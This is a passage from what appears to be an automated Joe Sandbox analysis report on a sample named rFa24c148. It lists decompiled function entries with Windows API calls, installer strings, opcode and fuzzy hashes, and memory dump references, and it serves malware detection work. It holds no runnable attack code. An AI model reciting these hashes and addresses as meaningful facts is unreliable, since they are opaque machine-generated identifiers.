Part of subcall function 004054F2: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256A0,Error launching installer), ref: 00405517
Part of subcall function 004054F2: CloseHandle.KERNEL32(?), ref: 00405524

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: d0da5d482e33d051210c15b68974d9b824af578114fa889f143a46eb6b727379
Instruction ID: bec0dc1b772bef8e3dfa3c1b84bb43adcf6872ff1fa5701b8d2c68c635bc108f
Opcode Fuzzy Hash: d0da5d482e33d051210c15b68974d9b824af578114fa889f143a46eb6b727379
Instruction Fuzzy Hash: 2811A131D04204EBDF109FA0CD859DE7AB5EB04319F204437F501BA1E1C3798982DB9A

Function 00402D05 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00402EE5,00000001,?,?,?,00000000,00403425,?), ref: 00402D18
GetTickCount.KERNEL32 ref: 00402D36
CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402D53
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403425,?), ref: 00402D61

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: a44779084e06eb4c2f5f1059993455e157fff419ca32818d5ef93385285d2376
Instruction ID: 4886259ddd31cdb6a9694f28afcf93f0b8e262fe2de839e253ac22cc8a8e0fbd
Opcode Fuzzy Hash: a44779084e06eb4c2f5f1059993455e157fff419ca32818d5ef93385285d2376
Instruction Fuzzy Hash: 09F05E3198A221ABD6315B20FE4C99B7BA4FB05B11B14547AF005F11E4C2B84C81CB9C

Function 00404F95 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404FC4
CallWindowProcW.USER32(?,?,?,?), ref: 00405015

Part of subcall function 00404008: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040401A

Strings

, xrefs: 00404FA5

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: d9e9b5ae7c041b12dac160d84c9107cc66b3c7e025393d4bf5171a64b49731b5
Instruction ID: 66009aff32d7b8830e361c6277d22b8a437e9b10976337e76806f1b42b6c8603
Opcode Fuzzy Hash: d9e9b5ae7c041b12dac160d84c9107cc66b3c7e025393d4bf5171a64b49731b5
Instruction Fuzzy Hash: 7A017172100609ABDF209F11DD80A5F3A25E784318F204037FB00761D1C37A9D51DAAE

Function 00405A12 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405A30
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00000000,004031FD,00436000,00436800), ref: 00405A4B

Strings

nsa, xrefs: 00405A1F

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 7292a228a83fa3ff922d64c5f727ba47b2c13c899f9c2b13fefe68a2db1948d4
Instruction ID: 95f7d282eddd658cc867a71ae78a7f6d6a22d0bd0d4c40af2882d7f7832b811b
Opcode Fuzzy Hash: 7292a228a83fa3ff922d64c5f727ba47b2c13c899f9c2b13fefe68a2db1948d4
Instruction Fuzzy Hash: 68F03676700204BBDB009F55DD45F9F77A8EBD5710F10813AE905F7190E6B0AE548B64

Function 004054F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256A0,Error launching installer), ref: 00405517
CloseHandle.KERNEL32(?), ref: 00405524

Strings

Error launching installer, xrefs: 00405505

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 3b6d012946cdb1e415ed4126777acf452f9caf94abf9bf389c8640f9b16c30f7
Instruction ID: f26dffa8f28471d2a1f864ee7fcc23407611118f3e7675527ed35a3aab9678e5
Opcode Fuzzy Hash: 3b6d012946cdb1e415ed4126777acf452f9caf94abf9bf389c8640f9b16c30f7
Instruction Fuzzy Hash: A2E0ECB4A00209AFDB009F64EC49E6B7BBDEB04304BC08521A914F2290E774E9158A69

Function 00406801 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9404108dc2ffa93cf9dbd592045f3814a42928f44e5f517cd318150646a2bbb9
Instruction ID: a6beba8b11f6780db01d9b07fb449380a5bf126b8b7197de7c08299569837353
Opcode Fuzzy Hash: 9404108dc2ffa93cf9dbd592045f3814a42928f44e5f517cd318150646a2bbb9
Instruction Fuzzy Hash: 32A14471E00228CBDF28CFA8C8946ADBBB1FF45305F11856ED856BB281C7785A96DF44

Function 00406A02 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbf333d6a46afa479c661894eff01412675f064c8667a178dbd89034fa802b91
Instruction ID: 30ee09c6b26f98e8194536109d7ce3e20b902e709c9d9403a9562c61d449f9ad
Opcode Fuzzy Hash: dbf333d6a46afa479c661894eff01412675f064c8667a178dbd89034fa802b91
Instruction Fuzzy Hash: 8F913470E00228CBEF28CF98C8947ADBBB1FB45305F15816AD856BB281C7785A96DF44

Function 00406718 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 068e376bb2d48232eda5806566f84189e2cd5aae6c77d5a6e3260a5cdfbff91e
Instruction ID: b50c8aa62e1022faa0523462bc9082c254a891c8b7a0b6d235230cb6e00c602c
Opcode Fuzzy Hash: 068e376bb2d48232eda5806566f84189e2cd5aae6c77d5a6e3260a5cdfbff91e
Instruction Fuzzy Hash: D0817971D04228CFDF24CFA8C884BADBBB1FB44305F25816AD856BB281C7385A96CF54

Function 0040621D Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90f7c6b476e538f5c80f6919ee05a76f5c0a6b18d6d689b251d68ff18896e93f
Instruction ID: 91081cf311d25a809012e225b52d4c3b5f250b1ae059806297d05f5390b66a1f
Opcode Fuzzy Hash: 90f7c6b476e538f5c80f6919ee05a76f5c0a6b18d6d689b251d68ff18896e93f
Instruction Fuzzy Hash: BB817A71D04228CBEF24CFA8C8847ADBBB1FB44305F11816AD856BB2C1C7785A96DF44

Function 0040666B Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b93bd20ea5de8414a65fbfeb926355070cd3711eb5f3dddd59222d5fbdffa392
Instruction ID: 08aa30644361a6a90b4bfdee527cb0e90186f6812c849098392b6a7b032e4156
Opcode Fuzzy Hash: b93bd20ea5de8414a65fbfeb926355070cd3711eb5f3dddd59222d5fbdffa392
Instruction Fuzzy Hash: D5712571E04228CFDF24CFA8C894BADBBB1FB45305F15806AE856BB281C7385996DF54

Function 00406789 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544fe90661504b3f73bb457df6893ab302009ecc2b1f879340368463567d4392
Instruction ID: 4a61f6f80671d808dc41601989bb6c43c22881685a3a15352730304741b477df
Opcode Fuzzy Hash: 544fe90661504b3f73bb457df6893ab302009ecc2b1f879340368463567d4392
Instruction Fuzzy Hash: 10714771E04228CFEF24CFA8C894BADBBB1FB44305F15806AD856BB281C7785956DF54

Function 004066D5 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b97cb57a72ce22a6d8feb282019d17567d0fea9520e3f831b09b876e97210d
Instruction ID: f5c122442136fd671463674f3a0102546b50c27f43e6df69360a8f4413a57d7a
Opcode Fuzzy Hash: 62b97cb57a72ce22a6d8feb282019d17567d0fea9520e3f831b09b876e97210d
Instruction Fuzzy Hash: 63715771E04228CBEF24CF98C884BADBBB1FB45305F15806AE856BB291C7785A56DF44

Function 00161A18 Relevance: 5.1, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

F, xrefs: 00161B10
F, xrefs: 00161B64
F, xrefs: 00161B47
F, xrefs: 00161A47

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: F$F$F$F
API String ID: 0-1844600021
Opcode ID: e44ba0f6790659360ad4ae006f5b1aea79d8f0372df0d68d58b7b56a6c3d0e74
Instruction ID: 83d9e3d272aa3635d67b9dc7bb8a91170aa95f7a56f2dbce911687d895722bc2
Opcode Fuzzy Hash: e44ba0f6790659360ad4ae006f5b1aea79d8f0372df0d68d58b7b56a6c3d0e74
Instruction Fuzzy Hash: EE418174A013199FCB05EFB8C8516AFBBB2EF86304F1088A9D004AB355DB745D46CF91

Function 00162A69 Relevance: 5.1, Strings: 4, Instructions: 96COMMON

Download Yara Rule

Strings

Xbq, xrefs: 00162A9E
Xbq, xrefs: 00162BA4
Xbq, xrefs: 00162AD8
Xbq, xrefs: 00162B57

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: a200ac5105161fa48bc9c7cb400860f8955fe653928d9b6bc61ea7d968d9dc98
Instruction ID: ae578496df3389253567d0c1badaf15d677809b162301a480b949cea2b6f4b52
Opcode Fuzzy Hash: a200ac5105161fa48bc9c7cb400860f8955fe653928d9b6bc61ea7d968d9dc98
Instruction Fuzzy Hash: 65318171E047298BDF758FA9CD9036FB7B6EB98301F1444A9C419A7281DB708E91CB92

Function 00166920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 00166952
\;^q, xrefs: 0016695E
\;^q, xrefs: 00166936
\;^q, xrefs: 0016692C

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: cc033f50724d3f43e1d3944a1ceadad54bfd376be12a7f379bed763db20d6596
Instruction ID: 441de86db79d5508e4a46a6e6ce719e947b0d262726cba7de883ca07bbf3264b
Opcode Fuzzy Hash: cc033f50724d3f43e1d3944a1ceadad54bfd376be12a7f379bed763db20d6596
Instruction Fuzzy Hash: 08018F31B101259FCB688E2DC844A2577EBAF88B6972A456AEC46CF3B0DF31DC51C790

Function 00405948 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405958
lstrcmpiA.KERNEL32(00405B82,00000000), ref: 00405970
CharNextA.USER32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405981
lstrlenA.KERNEL32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 0040598A

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f21a2c11da6ab3502238cdf1fad183a2072097fc1b5c712b12301f5e4005d6a7
Instruction ID: 6e6ac9e946d98d70bf9313254ac0794fd071748d29dfdc9c098e77395f368069
Opcode Fuzzy Hash: f21a2c11da6ab3502238cdf1fad183a2072097fc1b5c712b12301f5e4005d6a7
